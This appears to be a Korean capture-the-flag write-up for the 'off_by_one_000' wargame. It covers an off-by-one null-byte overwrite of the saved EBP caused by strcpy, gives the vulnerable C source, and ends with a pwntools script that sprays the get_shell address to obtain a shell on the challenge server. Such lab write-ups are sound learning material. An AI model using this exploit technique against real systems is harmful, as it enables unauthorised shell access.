off_by_one_000
A single byte past the end of the buffer is enough to shift the saved frame pointer and take control.
[*] '/Users/chaeeun/Desktop/56d3fdd7-0e11-4aee-b139-a0f1a8d967c4/off_by_one_000'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char cp_name[256];
void get_shell() {
system("/bin/sh");
}
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int cpy() {
char real_name[256];
strcpy(real_name, cp_name);
return 0;
}
int main() {
initialize();
printf("Name: ");
read(0, cp_name, sizeof(cp_name));
cpy();
printf("Name: %s", cp_name);
return 0;
}
No excution 이랑 partial relro 가 적용되어있다. strcpy() 의 대한 이해도가 떨어져서 (c 언어 못함 ㅠ) 지피티한테 어떤 코드인지 물어봤다.
strcpy()는 C언어에서 문자열을 복사하는 함수입니다.
#include <string.h>
char *strcpy(char *dest, const char *src);
의미는: src 문자열을 dest 버퍼로 복사한다.
보안 관점에서 위험한 이유
strcpy()는 dest 버퍼 크기를 확인하지 않습니다. 예를 들어:
char buf[8];
strcpy(buf, "AAAAAAAAAAAAAAAAAAAA");
buf는 8바이트인데 복사할 문자열은 훨씬 깁니다. 그러면 buf 뒤의 스택 영역까지 덮어버립니다.
buf[8]
saved rbp
return address
이런 구조에서 strcpy()가 길이를 체크하지 않고 계속 복사하면 stack buffer overflow가 발생할 수 있습니다.
strcpy()의 핵심 조건
strcpy()는 다음 조건이 맞으면 위험합니다.
- 목적지 버퍼 크기가 작다
- 복사할 문자열 길이를 공격자가 조절할 수 있다
- 길이 검사가 없다
strcpy와 null byte
strcpy()는 \0을 만날 때까지 복사합니다. 그래서 source 문자열 중간에 null byte가 있으면 거기서 복사가 멈춥니다.
역시 버퍼 오버플로우 인것인가.. 참고로 %s는 문자열 끝에 \0이 있어야 정상적으로 멈춤.
요 아마 이건 off-by-one null byte overwrite 문제임. 이게 왜 생기냐면, sizeof(cp_name)은 256이고 read()는 문자열 끝에 \0을 자동으로 붙여주지 않음. 그래서 예를 들어 우리가 A를 256개 넣으면:
cp_name = AAAAAAAAAA...AAAA
이렇게 되고 끝에 \0이 없음.
일단
(gdb) p get_shell
$2 = {<text variable, no debug info>} 0x80485db <get_shell>
32비트 i386에서 스택은 대략 이렇게 생깁니다.
real_name[256]
saved EBP
return address
real_name 바로 뒤에는 보통 saved EBP가 있습니다.
Frame pointer overflow는 return address를 직접 덮는 게 아니라, saved frame pointer, 즉 32비트에서는 saved EBP를 덮어서 실행 흐름을 바꾸는 기법입니다. 왜냐하면 off-by-one은 1바이트만 넘치기 때문에 return address까지 못 갑니다. real_name은 256바이트인데, strcpy()가 마지막 \0까지 복사하면서 257번째 바이트를 씁니다.
그래서 직접 덮이는 건 return address가 아니라: saved EBP의 하위 1바이트입니다.
from pwn import *
p = remote('host8.dreamhack.games', 15546)
adr = 0x80485db
payload = p32(adr)*64
p.recvuntil('Name: ')
p.send(payload)
p.interactive()
참고로 여기서 왜 64 냐 하면,
4바이트 * 0x40번 = 4 * 64 = 256바이트
입니다.